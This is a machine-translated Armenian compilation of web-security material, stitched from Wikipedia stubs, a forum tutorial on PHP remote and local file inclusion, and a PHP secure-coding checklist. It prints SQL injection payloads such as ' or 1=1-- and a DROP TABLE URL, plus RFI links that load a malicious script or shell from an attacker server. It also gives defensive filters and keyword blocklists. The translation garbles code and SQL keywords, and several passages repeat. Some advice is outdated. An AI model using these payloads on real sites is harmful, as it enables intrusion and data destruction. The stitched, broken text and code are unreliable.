Php ներարկումը կատարում է պայմանը` ավելացնելով d get: Ինչպե՞ս կոտրել ձևը: SQL ներարկում. PHP-ում անվտանգ կոդ գրելու կանոններ

Օրինակ

Այս սկրիպտը խոցելի է, քանի որ «.php»-ը պարզապես ավելացվում է $module փոփոխականի բովանդակությանը և ֆայլը միացված է ստացված ճանապարհին։

Հաքերն իր կայքում կարող է ստեղծել PHP կոդ (http://hackersite.com/inc.php) պարունակող ֆայլ և մուտք գործել կայք՝ օգտագործելով http://mysite.com/index.php?module=http:/ հղումը: /hackersite.com/inc գործարկել ցանկացած PHP հրաման:

Պաշտպանության մեթոդներ

Նման հարձակումից պաշտպանվելու մի քանի եղանակ կա.

• Ստուգեք, արդյոք $module փոփոխականը պարունակում է կողմնակի նիշեր.

• Ստուգեք, արդյոք $module-ը սահմանված է թույլատրված արժեքներից մեկի վրա.

Այս մեթոդն ավելի արդյունավետ է, գեղեցիկ և կոկիկ։

PHP-ն նաև հնարավորություն է տալիս անջատել օգտագործումը ջնջված ֆայլեր, դա արվում է php.ini սերվերի կազմաձևման ֆայլում allow_url_fopen տարբերակը անջատելու միջոցով։

Նկարագրված խոցելիությունը մեծ վտանգ է ներկայացնում կայքի համար, և PHP սկրիպտների հեղինակները չպետք է մոռանան դրա մասին։

տես նաեւ

Հղումներ

Վիքիմեդիա հիմնադրամ. 2010 թ .

Տեսեք, թե ինչ է «PHP ներարկումը» այլ բառարաններում.

- ... Վիքիպեդիա

- ... Վիքիպեդիա

Այս տերմինը այլ իմաստներ ունի, տես PHP (այլ իմաստավորում): PHP Semantics. Multiparadigm ... Վիքիպեդիա

Էլեկտրոնային փոստի ներարկումը հարձակման տեխնիկա է, որն օգտագործվում է շահագործման համար փոստի սերվերներև էլփոստի հավելվածներ, որոնք ստեղծում են IMAP/SMTP արտահայտություններ օգտվողի մուտքագրումից, որը պատշաճ կերպով չի վավերացված: Կախված տեսակից ... ... Վիքիպեդիա

SQL կոդի ներդրումը (անգլ. SQL injection) տվյալների բազաների հետ աշխատող կայքերն ու ծրագրերը կոտրելու սովորական եղանակներից մեկն է՝ հիմնված կամայական SQL-ի ներդրման վրա հարցման մեջ՝ կախված օգտագործվող DBMS-ի տեսակից և իրականացման պայմաններից։ , ... ... Վիքիպեդիա

SQL կոդի ներդրումը (անգլ. SQL injection) տվյալների բազաների հետ աշխատող կայքերն ու ծրագրերը կոտրելու սովորական եղանակներից մեկն է՝ հիմնված կամայական SQL-ի ներդրման վրա հարցման մեջ՝ կախված օգտագործվող DBMS-ի տեսակից և իրականացման պայմաններից։ , ... ... Վիքիպեդիա

PHP Semantics. multi-paradigm Կատարման տեսակը. Կոմպիլյատորի տիպի թարգմանիչ Ներդրված է. 1995 Հեղինակ(ներ)՝ Ռասմուս Լերդորֆ Վերջին տարբերակը: 4 ... Վիքիպեդիա

Բառի նեղ իմաստով, ներկայումս արտահայտությունը հասկացվում է որպես «Հարձակում անվտանգության համակարգի վրա» և ավելի շուտ հակված է Cracker attack հետևյալ եզրույթի իմաստին։ Դա պայմանավորված էր «հաքեր» բառի իմաստի խեղաթյուրմամբ։ Հաքեր ... ... Վիքիպեդիա

PHP-ի հետ գործ ունենալով SQL Injection-ի հետ

• Փայտանյութի սենյակ *

SQL ներարկումը հարձակման ամենավտանգավոր տեսակն է, քանի որ այն կանգնած է հաքերային անթիվ դեպքերի հետևում, որոնք պահպանվել են կորպորատիվ կայքերից և պորտալներից և պարզապես անձնական գլխավոր էջերից: Իրականում բավականին հեշտ է պաշտպանել ձեր նախագիծը. դա անելու համար նախ պետք է հասկանալ, թե որն է այս խնդրի էությունը և որոշ փոփոխություններ կատարեք կոդի մեջ՝ այն պաշտպանելու համար:

Ինչ է SQL Injection-ը

SQL ներարկումը վերաբերում է այն գործողություններին, որոնք դուք պետք է կատարեք ձեր սեփական տվյալների բազայի հարցումն առանց ձեր իմացության կատարելու համար: Ամենից հաճախ դա տեղի է ունենում, երբ օգտվողին առաջարկում եք որոշակի տեղեկատվություն ուղարկել սերվերին, սակայն ցանկալի տեղեկատվության փոխարեն հարձակվողն ուղարկում է իր հարցումը, որը, ակամա, կատարում է սերվերը: Օգտագործելով նման հարցումը՝ հարձակվողը կարող է ոչ միայն տվյալների բազայից ստանալ արգելված տեղեկատվություն, այլ նաև որոշակի պայմաններում փոփոխություններ կատարել դրանում, ինչպես նաև կատարել համակարգի հրամանները:

SQL ներարկման օրինակներ

Հարձակվողը կարող է ուղարկել իր հարցումը ոչ միայն այն մուտքագրելով տեղեկատվության մուտքագրման դաշտում (օգտագործելով $_POST), նա կարող է նաև փոխարինել իր $_GET փոփոխականները հասցեագոտում կամ ձեռքով փոխել իր $_COOKIE-ը: Հետևաբար, այս գլոբալ տվյալների հավաքածուների հետ աշխատելիս պետք է զգույշ լինել:

Եթե ​​էջում ունեք որոշակի տեղեկատվություն մուտքագրելու ձև, հարձակվողը կարող է օգտագործել դրա դաշտերը իրենց նպատակների համար: Սպասվող տողերի փոխարեն (անուն, գաղտնաբառ և այլն) նա նման դաշտում կմտնի իր սեփական խնդրանքը։

Այս SQL ներարկումներից շատերն այսպիսի տեսք ունեն.

Asd» կամ 1=1--

Ենթադրենք, որ մենք ունենք օգտվողի մուտքի ձև: Եթե ​​մուտքի դաշտում մուտքագրենք այդպիսի ծածկագիր, մենք կարող ենք օգտագործել մեր SQL ներարկումը, որպեսզի մուտք գործենք նույնիսկ առանց համապատասխան ստուգումների: Ինչպես է դա աշխատում? Մտածեք, թե ինչպիսի խնդրանք կստանանք մեր գործողությունների արդյունքում.

Ընտրեք * Օգտատերերից ՈՐՏԵՂ օգտանուն = «asd» կամ 1=1--» և գաղտնաբառ = «asd»

Այսպիսով, ինչպես տեսնում եք օրինակից, մեր կոդը հաջողությամբ կկատարվի: Եվ քանի որ 1=1 արտահայտությունը միշտ կվերադարձնի ճշմարիտ, մենք երաշխավորված ենք մուտքի իրավունք:

Դուք կարող եք մտածել, թե ինչու է մեզ անհրաժեշտ կրկնակի գծիկ (--): Այս կրկնակի գծիկը տողի վերջում ասում է SQL սերվերին անտեսել մնացած հարցումները: Եթե ​​ցանկանում եք ներարկում գրել ոչ թե SQL Server-ի համար, ապա այս դեպքում ձեզ անհրաժեշտ կլինի կրկնակի գծիկը փոխարինել մեկ ապաստրոֆով:

Նկատի ունեցեք, որ վերը նշված օրինակը ամենաշատն է ստանդարտ տարբերակ, բայց հեռու միակից։ Նրանց թիվն ուղղակի զարմանալի է, և ամեն ինչ կախված է նրանից, թե ինչպես է աշխատում հարձակվողի գլուխը։

Որոշ ավելի տարածված ներարկումների օրինակներ.

") կամ ("1"="1
"կամ "1"="1
"կամ "1"="1
Կամ 1=1--
«կամ 1=1--
«կամ 1=1--

Նաև բավականին տարածված է, որ հարձակվողները օգտագործում են հասցեի տողը (URL) իրենց հարձակումների համար: Այս մեթոդը, ինչպես նախորդը, պակաս վտանգավոր չէ։ Երբ PHP-ն և MySQL-ն օգտագործվում են սերվերում (միացված այս պահին, ամենահայտնի համադրությունը), սցենարի հասցեն սովորաբար այսպիսի տեսք ունի.

http://somesite.com/login_script.php?id=1

Նման տողում մի փոքր SQL ավելացնելով, դուք կարող եք սարսափելի բաներ անել.

http://somesite.com/login_script.php?id=1'; DROP TABLE մուտք; #

Այս դեպքում օգտագործվում է նշանը # կրկնակի գծիկի փոխարեն, քանի որ այն ասում է SQL Server-ին անտեսել բոլոր հետագա հարցումները, որոնք գալիս են մերից հետո: Իսկ ամենավտանգավորը (եթե դեռ չեք նկատել), ուղղակի սերվերին ասել ենք, որ օգտագործողների հետ ցուցանակը հանի։ Այս օրինակըլավ ցույց է տալիս, թե որքան վտանգավոր կարող են լինել SQL ներարկումները:

Ինչ դուք պետք է անեք ձեր սկրիպտները SQL ներարկումից պաշտպանելու համար

Մենք արդեն գիտենք, որ SQL-ի ներարկման խոցելիությունները տեղի են ունենում, երբ օգտատերերի տեղեկատվությունը մտնում է տվյալների բազայի հարցում՝ առանց պատշաճ մշակման: Այսպիսով, հաջորդ քայլը անվտանգ սկրիպտներ գրելն է:

Բարեբախտաբար, տրված վտանգհայտնի է բավականին երկար ժամանակ. PHP-ն նույնիսկ ունի հատուկ գործառույթ (4.3.0 տարբերակից սկսած), որը պայքարում է այս տեսակի հարձակման դեմ. mysql_real_escape_string.

mysql_real_escape_stringտողը անվտանգ է դարձնում տվյալների բազայի հարցումներում օգտագործելու համար՝ խուսափելով բոլոր հնարավոր վտանգավոր նիշերից: Սովորաբար, նման հաջորդական նիշը մեկ ապաստրոֆ է ("), որը այս ֆունկցիան օգտագործելուց հետո կփախչի (\"):

SQL ներարկումից պաշտպանվելու համար բոլոր արտաքին պարամետրերը ($_GET, $_POST, $_COOKIE) պետք է ներառվեն նախքան ներառվելը SQL հարցում, աշխատել հետ mysql_real_escape_string(), և հենց հարցման մեջ դրանք դրեց մեկ ապաստրոֆի մեջ։ Եթե ​​դուք հավատարիմ մնաք դրան պարզ կանոն, ապա հարձակվողի գործողությունները կհանգեցնեն անվտանգ հարցումների ձևավորմանը, քանի որ նրա SQL ներարկումների ամբողջ տեքստն այժմ գտնվում է ապաստրոֆների ներսում։

Եկեք տեսնենք, թե իրականում ինչ է անում սերվերը այս մշակման հետ.

SQL ներարկում (տողը, որը հարձակվողը մուտքագրել է «Մուտք» դաշտում՝ իր մուտքի փոխարեն).

Sql» կամ 1=1--

$name = mysql_real_escape_string ($_POST ["օգտվողի անուն"]);
$res = mysql_query ("SELECT * FROM users WHERE username = "".$name."" և գաղտնաբառը = "asd"");

SELECT * FROM օգտվողներից, որտեղ օգտվողի անուն = "sql\" կամ 1=1--" և գաղտնաբառը = "asd"

Այսինքն՝ նման խնդրանքով վտանգավոր գործողությունների փոխարեն փորձում ենք ընտրել բավականին տարօրինակ օգտանուն ունեցող օգտատիրոջ տվյալները. (sql\"կամ 1=1-).

Դուք կարող եք ավելի հեռուն գնալ և գրել գործառույթներ, որոնք ավտոմատ կերպով կմշակեն $_GET, $_POST և $_COOKIE զանգվածները, բայց ամեն ինչ կախված է ձեր ցանկություններից: Միակ բանը, որ պետք է հիշել, այն է, որ դուք պետք է պաշտպանեք բոլոր այն վայրերը, որտեղ օգտագործողի տվյալները փոխանցվում են տվյալների բազա:

PHP ներարկման հիմունքներ սկսնակների համար:​

PHP ներարկում(անգլերեն PHP ներարկում) - մոտ PHP-ով աշխատող վեբ կայքերը կոտրելու մեթոդներից մեկը սերվերի կողմից կողմնակի կոդի գործարկումն է:Պոտենցիալ վտանգավոր գործառույթներն են.
eval (),
preg_replace() («e» փոփոխիչով),
պահանջում_մի անգամ (),
ներառել_մեկ անգամ (),
ներառում(),
պահանջում (),
create_function().

PHP ներարկումը հնարավոր է դառնում, եթե մուտքային պարամետրերն ընդունվեն և օգտագործվեն առանց վավերացման:

Սեղմեք բացահայտելու համար...

(գ) Վիքի​

Հիմունքներ.​

php-ներարկում- սա կայքի վրա հարձակման ձև է, երբ հարձակվողը ներարկում է իր php կոդը հարձակման ենթարկված php հավելվածի մեջ:
Հաջող ներարկման դեպքում հարձակվողը կարող է կատարել կամայական (պոտենցիալ վտանգավոր) PHP կոդը թիրախային սերվերի վրա: Օրինակ, լրացրեք կեղևը: Բայց նախ, եկեք մանրամասնորեն ծամենք, թե ինչպես է դա տեղի ունենում:

Օրինակ:
Պատկերացնենք, որ ունենք PHP-ով գրված կայք։
Եկեք նաև պատկերացնենք, որ կայքը օգտագործում է հրամանը page=page.htmlպահանջվող էջը ցուցադրելու համար։
Կոդը կունենա հետևյալ տեսքը.

$file = $_GET["էջ"]; // Ցուցադրված էջ
ներառել ($ ֆայլ);
?>

Սա նշանակում է, որ էջում ցուցադրված ամեն ինչ կներառվի այս էջի php կոդի մեջ։ Հետևաբար, հարձակվողը կարող է նման բան անել.

http : //www.attacked_site.com/index.php?page=http://www.attacking_server.com/malicious_script.txt?

Եթե ​​նայենք, թե ինչ է տեղի ունենում ներառման գործարկումից հետո, մեզ կներկայացվի թիրախային սերվերի վրա կատարված հետևյալ կոդը.

$file= «http://www.attacker_server.com/malicious_script.txt?; //$_GET["էջ"];
ներառել ($ ֆայլ); //$file-ը հարձակվողի կողմից ներարկված սցենարն է
?>

Մենք տեսնում ենք, որ հարձակվողը հաջող հարձակում է կատարել թիրախային սերվերի վրա:

Ավելին:
Այսպիսով, ինչու՞ հարձակվողը կարողացավ կատարել PHP ներարկում:
Բոլորը, քանի որ գործառույթը ներառում() թույլ է տալիս գործարկել հեռավոր ֆայլեր:

Ինչու է սցենարը նշված օրինակում ընդլայնմամբ *.txt , բայց չէ *.php ?
Պատասխանը պարզ է, եթե սցենարը ձևաչափ ունենար *.php , այն կաշխատի հարձակվողի սերվերում, ոչ թե թիրախային համակարգում:

Խորհրդանիշը « ? «ներարկված սկրիպտի ճանապարհին` ֆունկցիայի ներսում որևէ բան հեռացնելու համար ներառում() թիրախային սերվերի վրա:
Օրինակ:

$file = $_GET["էջ"];
ներառել ($file . ".php" );
?>

Այս սցենարն ավելացնում է ընդլայնում *.php հրամանով կոչված մի բանի ներառում() .
Նրանք.

http : //www.attacker_server.com/malicious_script.txt

վերածվում է

http : //www.attacker_server.com/malicious_script.txt.php

Սցենարը չի գործարկվի այս անունով (հարձակվողի սերվերում ֆայլ չկա /malicious_script.txt.php)
Դրա համար մենք ավելացնում ենք «?" մինչև վնասակար սցենար տանող ճանապարհի վերջ.

http : //www.attacker_server.com/malicious_script.txt?.php

Բայց այն մնում է գործադրելի։

PHP ներարկումների իրականացում խոցելիության միջոցով ներառում են գործառույթներ(). ​

RFI - Remote Injection PHP Injection.​

RFI-ի հավանականությունը շարժիչների մեջ բավականին տարածված սխալ է:
Դուք կարող եք գտնել այն այսպես.
Ենթադրենք, մենք պատահաբար պատահաբար հայտնվեցինք մի էջ հասցեի բարբրաուզերը ավարտվում է այսպես.

/ինդեքս. php? էջ = հիմնական

Փոխարինում ենք հիմնականցանկացած զառանցական իմաստ, օրինակ upyachka

/ինդեքս. php? էջ = upyachka

Ի պատասխան՝ մենք ստանում ենք սխալ.

Զգուշացում. հիմնական (upyachka. php): Չհաջողվեց բացել հոսքը: Նման ֆայլ կամ գրացուցակ չկա / home / user / www //page.php 3-րդ տողում

Զգուշացում. հիմնական (upyachka. php): Չհաջողվեց բացել հոսքը. չկա այդպիսի ֆայլ կամ գրացուցակ / home / user / www / page . php տող 3

Զգուշացում. main(): Չհաջողվեց բացել «upyachka.php» ներառման համար (include_path = «.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/տանձ») / տուն / օգտվող / www / էջում: php տող 3

Սա մեզ ցույց է տալիս, որ ընդգրկումն իրագործելի է:
Փոխարենը փորձում ենք փոխարինել upyachkaկայք դեպի պատյան տանող ուղի (կեղևի ֆայլի ընդլայնումը չպետք է նշվի կամ նշեք այն, ինչպես նկարագրված է վերևում)

http : //www.attacked_server.com/index.php?file=http://www.attacker_site.com/shell

Այսպիսով, ստացվում է պատյան: Հիմա պետք է կայքի ադմինին տեղեկացնել խոցելիության մասին, որպեսզի նա շտկի այն, իսկ չար տղերքը չօգտվեն բագից։

LFI - տեղական ներառում է PHP ներարկման համար

Պատկերացնենք, որ մենք պատահաբար հանդիպեցինք նույն խոցելի կայքին

/ինդեքս. php? ֆայլ = հիմնական

Կոդով

..
Include("folder/ $page .htm" );
…
?>

Սա արդեն տեղական ընդգրկում է։ Այս իրավիճակում հնարավոր է միայն ֆայլերի ցուցակագրում.

/ինդեքս. php? էջ =../ ինդեքս. php

Հետևյալ դեպքում կոդը այսպիսի տեսք ունի.

..
ներառել ("$dir1/folder/page.php");
…
?>

Այս դեպքում դուք կարող եք գրել դեպի shell ուղին հետևյալ կերպ.
Ստեղծեք թղթապանակ թղթապանակայն կայքում, որտեղ պահվում է կեղևը, գցեք կեղևը այս թղթապանակում.

http : //www.attacker_site.com/folder/shell.php

Ներարկումն այս դեպքում կունենա հետևյալ տեսքը.

ցուցանիշը։ php? dir1=http: //www.attacker_site.com/

Պաշտպանության մեթոդներ ​

Դիտարկենք սցենարը.

...

ներառել $մոդուլ. ".php" ;
...
?>

Այս սցենարը խոցելի է, քանի որ փոփոխականի բովանդակությունը $ մոդուլ պարզապես ավելացվել է *.php և ֆայլը գործարկվում է ստացված ճանապարհով:

Նման հարձակումից պաշտպանվելու մի քանի եղանակ կա

- Ստուգեք, արդյոք $module փոփոխականը պարունակում է կողմնակի նիշեր.

...
$module = $_GET [ "module"];
if (strpbrk ($module , ".?/:" )) die("Blocked" );
ներառել $մոդուլ. ".php" ;
...
?>

- Ստուգեք, արդյոք $module-ը սահմանված է թույլատրված արժեքներից մեկի վրա.
"/" , "" , $page ); // Այլ գրացուցակներ անցնելու հնարավորությունն արգելափակված է։
if (file_exists («ֆայլեր/ $page.htm»))
{
Ներառել («ֆայլեր/$page.htm» );
}
Ուրիշ
{
արձագանք«սխալ»;
}
…
?>

PHP-ն նաև հնարավորություն է տալիս անջատել հեռավոր ֆայլերի օգտագործումը՝ php.ini կազմաձևման ֆայլում allow_url_fopen տարբերակը փոխելով Off-ի:

Նկարագրված խոցելիությունը մեծ վտանգ է ներկայացնում կայքի համար, և PHP սկրիպտների հեղինակները չպետք է մոռանան դրա մասին։

Գրելիս նյութեր են օգտագործվել
Վիքիպեդիա,
արտասահմանյան ֆորումի Security-sh3ll (spl0it),
Antichat ֆորումից (GreenBear):
Հատուկ շնորհակալություն ԲերթԵվ f02օգնության համար,
աջակցություն և լավ քննադատություն):

Վեբ ծրագրավորողների համար ամենակարևոր խնդիրներից մեկը php սկրիպտների անվտանգությունն է: Բոլոր ծրագրավորողները որոշ չափով օգտագործում են տարբեր մեթոդներ իրենց նախագիծն ապահովելու համար, բայց, ցավոք, շատ դեպքերում օգտագործվում է պաշտպանություն մի քանի խոցելիությունից, մինչդեռ այլ խնդրահարույց ոլորտներ նույնիսկ հաշվի չեն առնվում:
Այս հոդվածը թվարկում է հիմնական տեսակները PHP խոցելիություններև դիտարկել դրանցից պաշտպանվելու ուղիներ:

PHP-ի խոցելիության տեսակները

1. Սխալների ցուցադրում օգտագործողին
   Միտք. կոդի մեջ որևէ սխալի դեպքում օգտատիրոջը ցուցադրվում է տեղեկատվություն տեղի ունեցած սխալի մասին։ Դա կրիտիկական խոցելիություն չէ, բայց այն կթակցի հաքերին՝ ստանալու համար Լրացուցիչ տեղեկությունսերվերի կառուցվածքի և շահագործման մասին:
2. Համակարգի կատարողականի տվյալների հասանելիություն օգտվողին
   Միտք. Օգտագործողը կարող է մուտք գործել տվյալներ, որոնք պատկերացում են տալիս համակարգի մասին: Այն կրիտիկական խոցելիություն չէ, բայց հարձակվողին թույլ կտա լրացուցիչ տեղեկություններ ստանալ սերվերի կառուցվածքի և աշխատանքի մասին: Այս խոցելիության պատճառը ծրագրավորողի սխալների ու «անտեսումների» մեջ է։ Օրինակ՝ հանրային տիրույթում համանուն գործառույթով phpinfo.php ֆայլի առկայությունը։
3. Ծրագրի կոդի վերաբերյալ տվյալների հասանելիություն օգտվողին
   Օգտագործողը կարող է մուտք գործել մոդուլների ծրագրային ծածկագրեր, որոնք ունեն php-ից այլ ընդլայնում: Դա կրիտիկական խոցելիություն է, քանի որ թույլ է տալիս հարձակվողին բավարար չափով ստանալ ամբողջական տեղեկատվությունսերվերի կառուցվածքի և շահագործման մասին, բացահայտելու նրա խոցելիությունը:
4. Պարզ գաղտնաբառեր՝ վարչական էջեր մուտք գործելու համար
   Միտք. հարձակվողը կարող է կռահել ադմինիստրատիվ էջի պարզ գաղտնաբառ, որը նրան տալիս է ավելի շատ հնարավորություններհակերության համար։ Դա կրիտիկական խոցելիություն է, քանի որ այն թույլ է տալիս հարձակվողին ազդել սերվերի աշխատանքի վրա:
5. Գլոբալ փոփոխականներ սահմանելու ունակություն
   Միտք. PHP-ի սխալ կարգավորումների դեպքում հնարավոր է գլոբալ սցենարի փոփոխականներ դնել հարցումների տողի միջոցով: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է իր օգտին ազդել սցենարի վրա:
6. PHP ներարկում
   Իմաստը. պարամետրում, որը սահմանում է PHP աշխատանքֆայլերով կամ ծրագրի կոդով, երրորդ կողմի հղում ծրագրավորման կոդըկամ ինքնին կոդը: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է կատարել իր սկրիպտները սերվերի վրա: Կոդը կատարվում է օգտագործելով հետևյալ ֆունկցիաները՝ eval(), preg_replace(), require_once(), include_once(), include(), require(), create_function(), readfile(), dir(), fopen() :
7. PHP ներարկում ֆայլի վերբեռնման միջոցով
   Միտքը. եթե հնարավոր է գլոբալ փոփոխականներ սահմանել, ապա երրորդ կողմի ծրագրի կոդի կամ սերվերի վրա գաղտնի ֆայլի հղումը փոխանցվում է այն պարամետրին, որը որոշում է սերվեր բեռնված ֆայլը: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է կատարել իր սկրիպտները սերվերի վրա կամ մուտք գործել գաղտնի տվյալներ: Այս խոցելիությունը հնարավոր է միայն այն դեպքում, եթե գլոբալ փոփոխականները կարող են սահմանվել, և ֆայլերի բեռնման մեխանիզմը սխալ կազմակերպված է:
8. էլփոստի ներարկում
   Իմաստը՝ պարամետրում, որը որոշում է, թե ինչպես է աշխատում PHP-ի հետ նամակներ, փոխանցվում է երրորդ կողմի ծրագրի կոդի հղումը կամ ինքնին կոդը: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է կատարել իր սկրիպտները սերվերի վրա կամ մուտք ունենալ օգտատիրոջ կողմից պահված տվյալներին:
9. SQL ներարկում
   Իմաստը. տվյալները փոխանցվում են SQL հարցումը սահմանող պարամետրին՝ ձևավորելով հարցում մասնավոր տվյալների մուտք գործելու համար: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է ստանալ տվյալների բազայում պահվող զգայուն տվյալներ: Հարցումը փոփոխելու համար հարձակվողը կարող է օգտագործել հետևյալ կառուցվածքները՝ SELECT, UNION, UPDATE, INSERT, OR, AND :
10. Cross Site Scripting կամ XSS
    Իմաստը. երրորդ կողմի ծրագրի կոդը փոխանցվում է այն պարամետրին, որը որոշում է օգտագործողին ցուցադրվող տվյալները: Սա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է ստանալ հաճախորդի բրաուզերում պահվող զգայուն տվյալներ: Հարցումը փոխելու համար կոտրիչը օգտագործում է html թեգեր:

PHP-ում անվտանգ կոդ գրելու կանոններ

1. Արգելափակման սխալի ելքը
   Դա անելու համար բավական է ծրագրի կոդում սահմանել error_reporting (0) կամ ավելացնել php_flag error_reporting 0 տողը .htaccess ֆայլում:
2. Օգտագործումը բարդ գաղտնաբառերվարչական էջեր մուտք գործելու համար
   Դա անելու համար բավական է օգտագործել բազմարժեք գաղտնաբառեր, որոնք իմաստային նշանակություն չունեն (օրինակ՝ K7O0iV98dq):
3. Օգտագործողի կարևոր գործողությունների գրանցում
   Անմիջապես պաշտպանություն չի ապահովում, բայց թույլ է տալիս բացահայտել հարձակվողներին և որոշել նրանց կողմից օգտագործված խոցելիությունը: Դրա համար օգտատիրոջ գործողությունները և նրա կողմից փոխանցված տվյալները, որոնք վերաբերում են համակարգի կրիտիկական պահերին, բավարար են պարզ տեքստային ֆայլում գրվելու համար։
   Գրանցման ֆունկցիայի և դրա գործողության օրինակ.
   ֆունկցիան writelog ($typelog, $log_text) (
   $log = fopen("logs/".$typelog.".txt","a+");
   fwrite ($log, «$log_text\r\n»);
   fclose ($log);
   }
   writelog("լիազորում", ամսաթիվ("y.m.d H:m:s")."\t".$_SERVER["REMOTE_ADDR"]."\tՀաջող մուտք");
4. Կայքի մոդուլների մուտքի փակում
   Ապահովում է պաշտպանություն դրանց բովանդակությունը դիտելու կամ դրանք իրականացնելու փորձերից: Դա անելու համար բավական է կարգավորել մուտքը դեպի մոդուլային ֆայլեր .htaccess ֆայլում՝ օգտագործելով FilesMatch և Files կոնստրուկցիաները:
   Օրինակ, մենք փակում ենք մուտքը դեպի բոլոր մոդուլները php ընդլայնում, բացառությամբ capcha.php ֆայլի՝
5. Համաշխարհային փոփոխականներ սահմանելու հնարավորության անջատում
   Դա անելու համար բավական է սերվերի կարգավորումներում սահմանել register_globals = off; կամ .htaccess ֆայլում ավելացրեք php_flag register_globals անջատված տողը: Օգտագործելով ini_set("register_globals",0); չի լուծում խնդիրը այնպես, ինչպես փոփոխականները դրված են նախքան սկրիպտը սկսելը:
6. Հեռավոր ֆայլեր օգտագործելու հնարավորության անջատում
   Դա անելու համար բավական է սերվերի կարգավորումներում սահմանել allow_url_fopen = off; . Սա ապահովում է մասնակի պաշտպանություն PHP ներարկումներից, բայց ոչ ամբողջական պաշտպանություն, քանի որ հարձակվողը կարող է փոխանցել ոչ թե ծրագրի կոդով ֆայլի հղումը, այլ հենց ծրագրի կոդը: PHP ներարկումներից լիովին պաշտպանվելու համար դուք պետք է լրացուցիչ օգտագործեք մուտքային տվյալների զտիչ: Երբեմն այս պաշտպանության միջոցը չի կարող օգտագործվել նախագծի բնույթի պատճառով (դուք պետք է մուտք գործեք հեռավոր ֆայլեր):
7. Մուտքային տվյալների զտում
   Ապահովում է պաշտպանություն մեծ մասի խոցելիությունից: Համընդհանուր լուծում չկա. Ցանկալի է նիշերի «սպիտակ» ցուցակի դեմ ստուգում օգտագործել արգելված բառերի ստուգման հետ միասին: «Սպիտակ»-ը թույլատրված նիշերի ցանկն է։ Այս ցանկը չպետք է ներառի այնպիսի վտանգավոր կերպարներ, ինչպիսիք են . Արգելված բառերը ներառում են՝ script, http, SELECT, UNION, UPDATE, exe, exec, INSERT, tmp, ինչպես նաև html պիտակներ:
   Մուտքային տվյալների զտման օրինակ.
   // Սպիտակ ցուցակի ստուգում: Թույլատրվում են միայն ռուսերեն և լատիներեն տառեր, թվեր և նշաններ _-
   if (preg_match("/[^(\w)|(A-Zaa-z-)|(\s)]/",$text)) (
   $text = "";
   }
   // Զտել վտանգավոր բառերը
   if (preg_match("/script|http|||SELECT|UNION|UPDATE|exe|exec|INSERT|tmp/i",$text)) (
   $text = "";
   }
8. Ֆայլի վերբեռնման ստուգում HTTP օգնությունՓՈՍՏ
   Ապահովում է պաշտպանություն PHP ներարկումներից ֆայլերի վերբեռնման միջոցով: Դա ապահովելու համար սերվերում բեռնված ֆայլերը պետք է ստուգվեն is_uploaded_file() ֆունկցիայով կամ տեղափոխվեն move_uploaded_file() ֆունկցիայով։ Այս տեսակըպաշտպանությունը կարող է բաց թողնել, եթե գլոբալ փոփոխականներ սահմանելու հնարավորությունն անջատված է:
9. Տվյալների տվյալների շտեմարան փոխանցված չակերտների նիշերից խուսափելը
   Ապահովում է պաշտպանություն SQL ներարկումից: Լավագույն փորձը բոլոր մուտքային ոչ թվային տվյալները մշակելն է՝ օգտագործելով mysql_real_escape_string() ֆունկցիան: Կարող եք նաև օգտագործել մուտքային տվյալների ավտոմատ զննում: Դա անելու համար բավական է .htaccess ֆայլում ավելացնել php_value magic_quotes_gpc տողը, սակայն այս մեթոդը հուսալի չէ, քանի որ այն կարող է հանգեցնել կրկնակի փախուստի։
   Չակերտներից խուսափելու օրինակ՝ օգտագործելով mysql_real_escape_string() ֆունկցիան.
   եթե (!is_numeric($text)) (
   $text request = mysql_real_escape_string ($text);
   }
10. Փոխակերպեք հատուկ նիշերը html սուբյեկտների նախքան ելքը
    Ապահովում է պաշտպանություն XSS-ից: Դա անելու համար օգտատիրոջ մուտքագրած տվյալները, որոնք կարող են պարունակել անցանկալի html թեգեր, բավարար են htmlspecialchars() ֆունկցիայի միջոցով ելքը մշակելու համար։ Պաշտպանության այս տեսակը կարող է բաց թողնել, եթե մուտքային տվյալների զտումը զտում է վտանգավոր html թեգերը:

Ինչպես տեսնում եք, լավ մտածված սցենարային անվտանգության համակարգի ստեղծումն այնքան ժամանակատար չէ, որքան թվում է:
Այս հոդվածը նախատեսված չէ սկրիպտների անվտանգության վերաբերյալ ձեռնարկ լինելու համար, բայց հուսով եմ, որ այն խրախուսում է PHP ծրագրավորողներին օգտագործել ավելի մտածված անվտանգության մեթոդներ:

Թեև դեռ պարզ է, որ հարձակվողը պետք է գոնե որոշակի գիտելիքներ ունենա տվյալների բազայի կառուցվածքի մասին՝ հաջող հարձակում իրականացնելու համար, հաճախ շատ հեշտ է ստանալ այդ տեղեկատվությունը: Օրինակ, եթե տվյալների բազան բաց կոդով կամ այլ հանրությանը հասանելի ծրագրային փաթեթի մի մասն է՝ լռելյայն տեղադրմամբ, այս տեղեկատվությունը լիովին հրապարակային է և հասանելի: Այս տվյալները կարելի է ստանալ նաև փակ նախագծից, նույնիսկ եթե այն կոդավորված է, բարդ կամ կազմված է, և նույնիսկ ձեր սեփական կոդից՝ սխալի հաղորդագրությունների ցուցադրման միջոցով: Այլ մեթոդները ներառում են սովորական (հեշտ կռահելի) աղյուսակների և սյունակների անունների օգտագործումը: Օրինակ՝ մուտքի ձև, որն օգտագործում է «օգտատերեր» աղյուսակը՝ «id», «օգտանուն» և «գաղտնաբառ» սյունակների անուններով։

Հաջողակ հարձակումների մեծ մասը հիմնված է կոդի վրա, որը գրված չէ՝ հաշվի առնելով պատշաճ անվտանգությունը: Մի վստահեք որևէ մուտքագրման, հատկապես, եթե դա հաճախորդի կողմից է, նույնիսկ եթե դրանք ցուցակներ են ձևի, թաքնված դաշտերի կամ թխուկների վրա: Բերված առաջին օրինակը ցույց է տալիս, թե ինչպես նման խնդրանքները կարող են հանգեցնել աղետի:

• Երբեք մի միացեք տվյալների բազայի հետ՝ օգտագործելով հաշիվտվյալների բազայի սեփականատերը կամ գերօգտագործողը: Միշտ փորձեք օգտագործել հատուկ ստեղծված օգտատերեր, որոնք ունեն առավել սահմանափակ իրավունքներ:
